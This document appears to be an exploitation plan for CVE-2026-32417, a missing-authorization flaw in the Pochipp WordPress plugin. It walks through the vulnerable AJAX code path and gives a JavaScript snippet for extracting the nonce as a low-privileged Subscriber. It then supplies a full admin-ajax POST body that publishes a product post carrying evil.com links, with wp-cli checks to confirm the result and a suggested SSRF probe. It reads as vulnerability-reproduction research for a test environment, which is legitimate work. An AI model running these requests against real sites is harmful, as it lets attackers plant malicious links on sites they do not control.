Exploitation Research Plan: CVE-2026-32417 (Pochipp Missing Authorization)

1. Vulnerability Summary

The Pochipp plugin for WordPress (versions < 1.18.9) contains a missing authorization vulnerability in its AJAX handlers. Specifically, functions registered to wp_ajax_pochipp_update_data and wp_ajax_pochipp_registerd_by_block perform a nonce check but fail to implement a capability check (e.g., current_user_can()). This allow any authenticated user, including those with Subscriber-level privileges, to create new Pochipp product posts or update product data.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: pochipp_registerd_by_block (High Impact) and pochipp_update_data (Medium Impact).
• Authentication: Authenticated (Subscriber+).
• Payload Parameter:
  • action: pochipp_registerd_by_block
  • nonce: A valid WordPress nonce for the action.
  • attributes: A JSON-encoded string containing product data.
  • clientId: A string identifier used for the post title fallback.
• Preconditions: The attacker must be logged in to the WordPress site.

3. Code Flow

1. Entry Point: A POST request is sent to admin-ajax.php with action=pochipp_registerd_by_block.
2. Hook Registration: In inc/ajax.php, add_action( 'wp_ajax_pochipp_registerd_by_block', '\POCHIPP\registerd_by_block' ) routes the request.
3. Nonce Check: The function \POCHIPP\registerd_by_block calls \POCHIPP\check_ajax_nonce(). This function verifies the nonce parameter against \POCHIPP::NONCE_KEY.
4. Missing Check: The function proceeds directly to process input without calling current_user_can().
5. Data Processing:
   • The attributes parameter is retrieved and JSON-decoded.
   • pid (Post ID) is checked; if present, it returns an error (preventing updates via this specific function, but allowing creation).
   • Meta fields like className, pid, hideInfo, etc., are unset from the array.
6. Sink (Post Creation): wp_insert_post() is called with post_type set to \POCHIPP::POST_TYPE_SLUG (typically pochipp) and post_status set to publish.
7. Sink (Meta Storage): update_post_meta() is called using \POCHIPP::META_SLUG to store the remaining attributes as a JSON string.

4. Nonce Acquisition Strategy

The nonce is required. Based on standard Pochipp behavior, nonces are localized for the block editor.

1. Identify Script Localization: The plugin likely uses wp_localize_script to pass a nonce to the editor. We need to find the variable name.
2. Strategy:
   • Create a Subscriber user.
   • Log in as the Subscriber.
   • Navigate to the WordPress Dashboard (/wp-admin/).
   • Since the block editor scripts are often enqueued for all users who can access the dashboard or specific post-editing screens, check for a global variable.
   • Search for a script containing pochipp. The common localization object name is likely pochipp or pochipp_data (inferred).
   • Use browser_eval to find the nonce:

     // Search for any object containing the nonce
     Object.keys(window).find(key => window[key] && window[key].nonce);
     // or specifically
     window.pochipp?.nonce
     

   • Based on inc/ajax.php, the default nonce key is \POCHIPP::NONCE_KEY.

5. Exploitation Strategy

Goal: Create an unauthorized product post.

1. Setup: Authenticate as a Subscriber.
2. Extraction: Extract the nonce from the wp-admin dashboard source or via browser_eval.
3. Request:
   • URL: http://<target>/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=pochipp_registerd_by_block&nonce=<EXTRACTED_NONCE>&clientId=exploit_client&attributes={"title":"Malicious Product","amazon_url":"https://evil.com/ref=hack","rakuten_url":"https://evil.com/rakuten"}
     

4. Response: A successful response will return a JSON object with the new post ID: {"pid":123}.

6. Test Data Setup

1. User: Create a user with the subscriber role.
2. Plugin Configuration: No specific configuration is needed, but the plugin must be active so that the pochipp post type is registered.

7. Expected Results

• The admin-ajax.php response should be a JSON object containing a pid (e.g., {"pid": 105}).
• The response code should be 200 OK.
• Accessing wp-admin (as an admin) and checking the Pochipp product list should show a new entry titled "Malicious Product".

8. Verification Steps

1. Check Post Existence:

   wp post list --post_type=pochipp --fields=ID,post_title,post_status
   

   (Verify the new ID and title exist).
2. Check Meta Data:

   wp post meta get <NEW_PID> pochipp_data
   

   (Verify the JSON-encoded URLs/attributes were saved).

9. Alternative Approaches

If pochipp_registerd_by_block fails, attempt exploitation via pochipp_update_data:

• Action: pochipp_update_data
• Body: action=pochipp_update_data&nonce=<NONCE>&itemcode=ANY_STRING&searched_at=amazon
• Goal: This may trigger an SSRF if \POCHIPP::get_item_data fetches external URLs based on the itemcode. While the primary vulnerability is Missing Authorization, the logic inside get_item_data should be audited for further impact.

Constants to Verify During Execution:

• \POCHIPP::POST_TYPE_SLUG (Likely pochipp)
• \POCHIPP::META_SLUG (Likely pochipp_data)
• \POCHIPP::NONCE_KEY (Likely pochipp_nonce)